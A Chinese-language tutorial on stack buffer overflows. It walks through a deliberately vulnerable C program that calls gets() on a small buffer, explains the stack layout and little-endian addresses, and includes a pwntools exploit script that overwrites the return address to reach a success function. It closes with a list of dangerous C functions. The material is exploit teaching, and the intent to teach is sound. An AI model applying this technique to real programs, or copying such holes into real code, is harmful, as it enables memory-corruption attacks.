1.栈溢出原理
- 程序必须向栈上写入数据。
- 写入的数据大小没有被良好的控制。
- 高危函数:gets()本身是一个危险函数,它从不检查输入的字符串长度,用回车判断是否结束,所以很容易导致栈溢出。
例:
#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}
栈结构
s距离ebp的长度为0x14
b'a'*0x14 + b'aaaa'+sucess_addr
此时的栈结构为
注意:一般情况下采用的是小端存储,即0x0804843b内存形式为:
\x3b\x84\x80\x08
##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = process('./stack_example')
success_addr = 0x0804843b
## 构造payload
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
print p32(success_addr)
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()
覆盖要求
- 覆盖函数返回地址,这时候看ebp即可
- 覆盖栈上某个变量的内容,这时候就需要更加精细的计算
- 覆盖bss段某个变量的内容
- 根据实际执行情况,覆盖特定的变量或地址的内容
危险函数
- 输入
- gets,直接读取一行,忽略‘\x00’
- scanf
- vscanf
- 输出
- sprintf
- 字符串
- strcpy,字符串复制,遇到'\x00'停止
- strcat,字符串拼接,遇到'\x00'停止
- bcopy